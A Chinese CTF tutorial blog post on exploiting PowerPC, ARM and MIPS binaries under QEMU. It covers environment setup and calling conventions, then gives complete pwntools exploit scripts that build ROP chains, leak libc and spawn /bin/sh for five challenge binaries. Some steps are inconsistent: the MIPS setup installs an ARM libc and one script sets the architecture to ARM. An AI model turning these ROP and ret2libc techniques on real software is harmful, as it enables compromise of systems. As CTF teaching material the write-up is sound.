深入异构 PWN:PowerPC&ARM&MIPS
ve1kcon 发表于 北京 技术文章 4147浏览 · 2024-12-05 06:23

前言

本文的学习环境基于 Ubuntu16.04,在搭建仿真环境运行及调试异构程序,最后给出 CTF-PWN 的例题进行进一步讲解和分析

通过本文,可以学习到 PowerPC, ARM, AARCH64, MIPS 架构的指令集和函数调用约定,在相应的例题里学习对异构程序的调试,解题时可借鉴 x86 架构下的漏洞挖掘和利用思想

PWN 题列表

  • 2023 数字中国创新大赛——数字网络安全人才挑战赛 - pwn起源
    考点:powerpc-32-big,能直接劫持跳转的目标地址,通过调试理解控制参数的方式

  • buu 例题 - jarvisoj_typo
    考点:arm-32-little,恢复符号表,栈溢出,简单 ROP 链构造

  • SimpleDecoder
    考点:arm-32-little,base64 换表,需要想办法构造 ROP 链,比较巧妙
  • ROP_Emporium 例题 - ret2win
    考点:mipsel,栈溢出
  • ROP_Emporium 例题 - split
    考点:mipsel,ROP 链构造

QEMU 环境搭建

模拟器安装

QEMU 是一个模拟器,可以模拟多种处理器架构的计算机系统,这是我们实现跨平台运行二进制文件(如在 x86 的机子上跑其它架构程序)的工具

QEMU 对程序的仿真运行主要有两种运行模式: qemu-user , qemu-user-static。后者是 QEMU 的静态编译版本

使用 qemu-user 运行动态链接的程序,需要在本地系统中安装与程序相应的库,而 qemu-user-static 则包含了所有必需的库和二进制文件,可以直接运行静态链接的程序

$ sudo apt-get update
$ sudo apt-get install qemu qemu-user qemu-user-static

安装 qemu-system,用于模拟整个计算机系统的跨平台运行

$ sudo apt-get install qemu-system uml-utilities bridge-utils

运行程序

静态链接程序

使用 qemu-user-static 虚拟机,运行 PowerPC 32-bit 的静态链接程序,命令如下

$ qemu-ppc-static ./pwn

当然还能运行其他架构的程序,同理

  • arm/aarch64
    qemu-arm-static/qemu-aarch64-static
  • mips/mipsel
    qemu-mips-static/qemu-mipsel-static
  • ppc/ppc64
    qemu-ppc-static/qemu-ppc64-static

动态链接程序

使用 qemu-user 运行动态链接程序,需要先查找并安装对应架构的动态链接库(还是以 PowerPC 架构为例)

$ apt search "libc6-" | grep "powerpc"
$ sudo apt-get install libc6-powerpc-cross
# 安装好的库在 '/usr/powerpc-linux-gnu/lib/' 目录下

对应的,运行别的架构的程序也同理

$ qemu-ppc -L /usr/powerpc-linux-gnu ./pwn
# 通过 `-L` 指定 `/usr/powerpc-linux-gnu` 目录

在命令行中写入 qemu- 后点击 tab 键可以看到 qemu 系列的指令

  • PowerPC 64-bit 架构:qemu-ppc64
  • PowerPC 32-bit 架构:qemu-ppc
  • ARM 64-bit 架构:qemu-aarch64
  • ARM 32-bit 架构:qemu-arm
  • MIPS 架构:qemu-mips
  • 小端序 MIPS 架构:qemu-mipsel

调试程序

安装调试工具

安装 gdb-multiarch,这是一个支持多种架构的 gdb 工具,可以同时调试多种不同的架构,包括 ppc 架构等

$ sudo apt-get install gdb-multiarch

调试

使用 gdb-multiarch 调试其他架构的程序之前,需要先启动 QEMU 并将程序运行在其中

# './qemu-ppc' 使用 `qemu-user` 工具来模拟 PowerPC 架构
# '-g 1234' 以 gdb 的方式启动 QEMU,并监听 1234端口
# './pwn' 即要运行的程序
$ qemu-ppc -g 1234 -L /usr/powerpc-linux-gnu ./pwn

另开一个终端启动 gdb

# 设置调试器的架构为 powerpc
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./pwn
# 设置大端序,连接到正在运行的程序
(gdb) set endian big
(gdb) target remote :1234

接下来就很熟悉了,跟 x86 下的 debug 差不多

PowerPC

PowerPC 架构下的函数调用约定是通过寄存器传递参数,而不是通过栈传递参数。但当参数数量过多时,会将多余的参数压入栈中,因此栈帧中也会包含函数参数

指令集学习

去学习不同架构的汇编指令集时,可以先只看看基础知识和常见的指令,然后遇到不会的再查

常用寄存器

寄存器 说明
R1/SP 栈顶指针。
R3 存储函数调用的第一个参数或函数的返回值。
R4-R10 函数或系统调用的参数,部分情况下R4寄存器也会作为函数的返回值使用。
LR 链接寄存器,用于存放函数调用结束处的返回地址。
PC 程序计数器。

常用指令

PowerPC 架构的指令通常使用缩写的单词组合来表示其功能

  • STB:Store Byte(存储字节)

  • STW:Store Word(存储字)

  • LD:Load(加载,将数据从内存中读取到寄存器中)

  • LI:Load Immediate(加载立即数)

  • LIS:Load Immediate and Shift(装载一个16位立即数到目标寄存器,并将它左移16位,用零填充低位)

  • LWZ:Load Word and Zero(从内存读取一个字单元到寄存器中,并将高位清零)

  • BL:Branch and Link(当前程序返回地址存入寄存器 LR 并跳转)

  • MTCTR:Move to Count Register(将一个32位寄存器的值存储到寄存器 CTR

  • BCTRL:Branch to Count Register and Link(用于调用函数,将当前程序返回地址存入寄存器 LR 并跳去执行寄存器 CTR 指向的指令)

  • @符号 通常用于表示地址的高位和低位。
    下例中表示将 FinishedUpload 标签的高位地址加载到 r9 ,r9 左移16位,将 FinishedUpload 标签的低位地址与 r9 相加后的值存储到 r3。即实现了让 r3 指向 FinishedUpload 标签的地址。

举点例子

li REG, VALUE   ;REG = VALUE
add REGA, REGB, REGC   ;REGA = REGB + REGC
addi REGA, REGB, VALUE   ;REGA = REGB + VALUE
mr REGA, REGB   ;REGA = REGB
ld REGA, 0(REGB)   ;REGA = *(REGB + 0)  以REGB为基址,偏移量为0寻址
lwz REGA, 0(REGB)   ;REGA = *(REGB + 0)
bl func   ;PC = &func
mtctr REG   ;CTR = REG
bctrl   ;LR = PC,PC = CTR

栈帧结构

PowerPC 架构下,栈帧的结构一般遵循 ABI (Application Binary Interface,应用程序二进制接口) 规范

PowerPC 的 ABI 规范有多种,如 PowerPC 32-bit ELF ABIPowerPC 64-bit ELFv2 ABI 等,不同的 ABI 规范会对栈帧的结构进行不同的定义

pwn起源

通过 file 指令可以查看到程序是 powerpc-32-big 架构下的静态链接程序,写 exp 的时候别忘了设置字节序为大端字节序

程序运行命令如下

$ qemu-ppc-static ./main

(*(void (__fastcall **)(int))(v5 + 40))(v3); 处存在任意代码执行,通过逆向分析程序逻辑可以发现,只需要在前面的输入点中偏移为 40 个字节的地方,填个一个后门地址即可跳到目标代码块

有个假的后门函数,很明显直接跳到这个函数执行是无法 getshll 或者直接获取到 flag

想办法控制参数然后找能够跳去执行 system 的 gadget 就行,先贴最终 payload 如下

system = 0x100006F0
payload = '/bin/sh\x00' + a*32 + p32(system)

分析过程如下

注意到调用函数的参数是 v3,是前面执行 puts 函数的返回值。所以上面那段 payload 是怎么打通的呢,看伪代码有的话似乎无法理解,所以下面通过调试程序去跟汇编

插入一段调试指令

先启动一个终端运行 exp,再启动另一个终端用 gdb 去连,之后的就跟 x86 下的差不多了

$ gdb-multiarch -q -ex "set architecture powerpc:common" ./main
(gdb) target remote :1234

可见我们成功将 /bin/sh 写进了 sp + 0x1c 这段栈空间,此时 R31 指向栈顶,记住这个寄存器,待会要考的

看一下程序在跳转执行我们的 gadget 前的栈空间和寄存器。此时 R3 确实是 puts 函数的返回值,表示输出了 0x13 个字符

在执行到 bctrl 指令前,执行了 mtctr r9 (即 CTR = R9,bctrl --> jmp CTR --> jmp R9)
此时可见 R9 的值正是我们写进的后门地址 0x100006F0

后面比较巧妙的地方就是我们利用的 gadget,在执行 call system 前,能重写 R3

addi      r9, r31, 0x1C
mr        r3, r9

相当于执行 R3 = *(R31 + 0X1C),而 R31 + 0x1c 指向的就是 /bin/sh

在执行 system 前,R3 寄存器确实指向了 /bin/sh,后面成功 getshell

完整 exp 如下:

#coding:utf8
from pwn import *
context.endian = 'big'
context.log_level = 'debug'
p = process(['qemu-ppc-static','./main'])
#p = process(['qemu-ppc-static','-g','1234','./main'])

system = 0x100006f0
payload  = '/bin/sh;' + 'a'*32 + p32(system)
#pause()
p.sendlineafter('comment.\n', payload)

p.interactive()

ARM&AARCH64

ARM 是 32 位的架构,AARCH64 是 64 位的架构

ARM 架构下的函数调用约定为,函数的前四个参数保存在寄存器 r0 - r3 中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0

AARCH64 架构下的函数调用约定为,函数的前六个参数保存在寄存器 x0 - x5 中。与ARM架构不同的是,AARCH64 架构下,被调用者不需要实现栈平衡,由调用者负责栈平衡。函数的返回值保存在 x0 中,如果返回值是一个结构体或类似的较大的数据类型,则会使用 x0x1 寄存器记录返回值

指令集学习

常用寄存器

寄存器 说明
R0 存储函数的第一个参数或函数的返回结果。
R13 (堆栈指针SP) 指向堆栈的顶部
R14(链接寄存器LR) 链接寄存器,用于存放函数调用结束处的返回地址。
R15(程序计数器PC) 程序计数器。

arm32 下,read 的系统调用号是 3,execve 的系统调用号是 0xb

由 r7 来存储系统调用号,r0,r1,r2 为函数调用的前三个参数

常用指令

  • MOV: 数据传输指令,用于将数据从一个寄存器或内存中复制到另一个寄存器或内存中。

  • ADD/SUB: 加法和减法指令。

  • CMP: 比较指令,比较两个操作数的大小关系。

  • B: 分支指令,用于无条件跳转到指定地址。

  • BL: 分支指令,用于跳转到指定地址并将返回地址保存在LR寄存器中,可用于函数调用。

  • LDR/STR: 数据传输指令,用于从内存中读取数据或将数据写入内存。

    • LDR 用于将某些内容从内存加载到寄存器中,例如 LDR R2, [R0] 从R0寄存器中存储的内存地址的值读入R2寄存器。

    • STR 用于将某些内容从寄存器存储到内存地址中,例如 STR R2, [R1] 从R2寄存器中将值存储到R1寄存器中的内存地址中。

  • PUSH/POP: 栈操作指令,用于将寄存器中的数据入栈或从栈中弹出数据。

指令 功能 指令 功能
MOV 移动数据 EOR 按位异或
MVN 移动数据并取反 LDR 加载
ADD 加法 STR 存储
SUB 减法 LDM 加载多个
MUL 乘法 STM 存储多个
LSL 逻辑左移 PUSH 入栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 跳转
ROR 右旋 BL Link+跳转
CMP 比较 BX 分支跳转
AND 按位与 BLX Linx+分支跳转
ORR 按位或 SWI/SVC 系统调用

栈帧结构

与 x86 相比,ARM 架构的栈帧寄存器值不是保存到栈底,而是栈顶,如图

jarvisoj_typo

调试方法如下

先启动一个终端运行 exp,再启动另一个终端用 gdb 去连

$ gdb-multiarch -q -ex "set architecture arm" ./typo
(gdb) target remote :1234

arm-32-little 架构的静态链接程序。去符号表,基础栈溢出,有 system 和 '/bin/sh'。所以思路就是找 gadget,控制 r0 寄存器指向 '/bin/sh',然后跳去执行 system 即可

这题的难点之一是找 system 函数。可以使用 rizzo 还原符号表,笔者的 IDA Pro 7.5,装的这个项目

Reverier-Xu/Rizzo-IDA:Rizzo 插件移植到 IDA 7.4+

rizzo.py 放到 ida 的插件目录中,笔者的路径是 C:\IDA Pro 7.5\plugins

然后去下相应架构的 libc,用 ida 打开

$ apt search "libc6-" | grep "arm"
$ sudo apt-get install libc6-dbg-arm64-cross
$ cp /usr/aarch64-linux-gnu/lib/libc-2.23.so ./

先用 libc 进行签名 (File -> Produce file -> Rizzo signature file),然后在要恢复符号表的程序里读取签名 (File -> Load file -> Rizzo signature file),即可恢复一部分符号表

另外一种方式就是查下哪里调用了 /bin/sh,找到字符串后通过 ctrl + x 查看引用,双击进去看看函数实现

最后直接贴 exp 了

from pwn import*
context(arch='arm',log_level='debug')
p = process(['qemu-arm-static','./typo'])
#p = process(['qemu-arm-static','-g','1234','./typo'])

pop_r0_r4_ret = 0x00020904
binsh = 0x0006c384
system = 0x00010BA8
p.send('\n')
payload = 'a'*112
payload += p32(pop_r0_r4_ret)
payload += p32(binsh)
payload += p32(0)
payload += p32(system)

#pause()
sleep(0.1)
p.sendline(payload)
p.interactive()

SimpleDecoder

arm-32-little 架构的动态链接程序

$ file ./chall
./chall: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=829f6a8ec1a5969fb01d69b6fdc4053923e8736a, stripped

这题的 ROP 链构造比较有意思,所以之前记录了,现在拿出来分析一下,主要向大家分享 ROP 链的构造和利用,题目的附件可以到文末进行下载

首先对主函数进行分析,从第一个输入点读入一串数据进行数据 base64 加密,然后与密文进行比较,若一致,即可进入到 if 代码块,再提供了一个存在溢出的输入点

分析这个 base64 加密函数逻辑

base64 换表 0-9A-Za-z+/=,通过赛博厨子解密得到明文 s1mpl3Dec0d4r

这题的难点在于程序中没有可以直接控 R0 寄存器的 gadget,一般来说可以找到 pop {r0, r4, pc} 这种 gadget

那现在需要解决的问题是:若通过 ROP 执行目标函数的话,一参不可控,需要想办法控制 R0 去执行目标函数,且能够继续 ROP

翻看程序汇编的时候意外找到了这一段非常不错的 gadget,进行分析后发现可以配合上面已经找到的 gadget 实现利用

具体分析如下:通过 0x00010cb0 : pop {r4, r5, r6, r7, r8, sb, sl, pc} 劫持寄存器 R7 为 arg1,通过0x00010464 : pop {r3, pc} 劫持寄存器 R3 为 func_addr,然后再去执行上面那一段 gadget,此时会先将 R7 的值赋值到 R0,然后执行到 BLX R3 时就巧妙地构造好了参数和目标函数,相当于执行 call func_addr(arg1)

继续调试时发现后续发现并未执行到跳转指令 BNE loc_10C90,故能继续走到最后面的 POP {R4-R10,PC},即能够将程序流一直控下去

现在分析出完整的控制一参后执行函数的链子,打 ret2libc 即可

exp 如下

from pwn import *
context(arch='arm', os='linux', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-arm', '-g', '1234', '-L', '/usr/arm-linux-gnueabihf/', './chall'])
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf/', './chall'])
# p = remote('', )
libc=ELF("./libc-2.27.so")
elf = ELF("./chall")

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
#     debug('''
#     # add-symbol-file ./libc-2.27.so
#     target remote :1234
#     b *0x00010C34
#     c
#     ''')
    payload = 's1mpl3Dec0d4r'
    p.sendlineafter('msg> ', payload)

    pop_7_ret = 0x00010CB0      # POP     {R4-R10,PC}
    pop_r3_ret = 0x00010464     # POP     {R3,PC}
    mov_r0_r7_ret = 0x00010CA0
    puts_got = elf.got['puts']
    puts_plt=elf.plt['puts']

    payload = 'a'*0x2c
    payload += p32(pop_r3_ret) + p32(puts_plt)
    payload += p32(pop_7_ret) + p32(puts_got)*7
    payload += p32(mov_r0_r7_ret)

    payload += p32(0x00010C30)*10   # main
    p.sendlineafter('comment> ', payload)

    libc_base = u32(p.recv(4)) - libc.sym['puts']
    print("puts: "+hex(libc_base))

    pop_r0_ret = libc_base + 0x0011e54c
    binsh = libc_base + 0x00131bec
    system = libc_base + 0x000391E4

    payload = 's1mpl3Dec0d4r'
    p.sendlineafter('msg> ', payload)
    payload = 'a'*0x2c
    payload += p32(pop_r0_ret) + p32(binsh)
    payload += p32(system)
    p.sendlineafter('comment> ', payload)

exp()
p.interactive()

MIPS

MIPS 指令架构属于 RISC(精简指令集)体系,是一种普遍应用于小型设备的处理器架构,使用 MIPS 指令架构的 Linux 系统便被称为 MIPS LinuxMIPS 架构广泛应用于嵌入式系统领域

MIPS 是大端 (big-endian) 架构,而 MIPSEL 是小端 (little-endian) 架构,但它们指令的用法是差不多的

指令集学习

各寄存器作用如下

REGISTER NAME USAGE
$0 $zero 存储常量 0 (constant value 0)
$1 $at 保留给汇编器 (Reserved for assembler)
$2-$3 $v0-$v1 存放函数调用返回值或表达式 (values for results and expression evaluation)
$4-$7 $a0-$a3 作为函数调用的前四个参数 (arguments)
$8-$15 $t0-$t7 供汇编程序使用的临时寄存器 临时变量
$16-$23 $s0-$s7 调用子函数时 用于保存原寄存器的值 (saved)
$24-$25 $t8-$t9 供汇编程序使用的临时寄存器 补充t0−t7
$26-$27 k0−k1 中断/异常处理程序使用 保存系统参数
$28 $gp 全局指针 (Global Pointer)
$29 $sp 堆栈指针 (Stack Pointer)
$30 $fp 帧指针 (Frame Pointer)
$31 $ra 返回地址 (return address)

除此以外还有 3 个特殊的寄存器,分别是 PC (程序计数器)、HI (乘除结果高位寄存器)、LO (乘除结果低位寄存器)

其他 MIPS 相关基础知识(MIPS 指令集、MIPS32 架构函数调用方式、MIPS32 架构函数调用的栈布局)可移步笔者的另一篇文章 IoT 安全从零到掌握:超详尽入门指南(基础篇)—— 0x01 MIPS Linux

ret2win

mipsel 架构,需要下载相应架构 libc

$ apt search "libc6-" | grep "arm"
$ sudo apt-get install libc6-dbg-arm64-cross

拖入 ida 分析,read 处存在栈溢出

有后门函数,直接利用栈溢出劫持返回地址到后门即可

exp 如下

from pwn import *

context(arch='arm', os='linux')
context.log_level = 'debug'

p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./ret2win_mipsel"])

payload = "a" * 0x24 + p32(0x00400A00)
p.sendafter('>', payload)
p.interactive()

split

mipsel 架构,拖入 ida 分析,同样在 read 处存在栈溢出

有可利用的字符串,且存在 system_plt 可利用

ROP 链构造

ROPgadget --binary "./split_mipsel" | grep -E ": lw .*a0, .*sp"

可以利用此 gadget 从栈中读取地址到 r0

0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

exp如下

from pwn import *

context(arch='mips', os='linux')
context.log_level = 'debug'

p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./split_mipsel"])

payload = 'a' * 36
payload += p32(0x00400a20)
payload += 'bbbb'
payload += p32(0x00400B70)
payload += p32(0x00411010)
p.sendafter(">", payload)
p.interactive()
附件:
  • SimpleDecoder附件.zip 下载
1 条评论
某人
表情
可输入 255